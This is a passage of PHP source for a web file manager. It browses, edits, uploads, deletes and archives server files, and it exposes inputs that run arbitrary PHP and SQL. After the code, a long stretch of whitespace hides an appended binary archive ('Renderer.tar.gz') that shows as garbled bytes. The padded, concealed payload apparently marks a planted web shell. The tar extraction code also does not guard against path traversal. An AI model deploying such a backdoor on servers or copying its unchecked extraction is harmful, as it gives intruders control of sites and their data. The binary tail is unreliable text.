		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
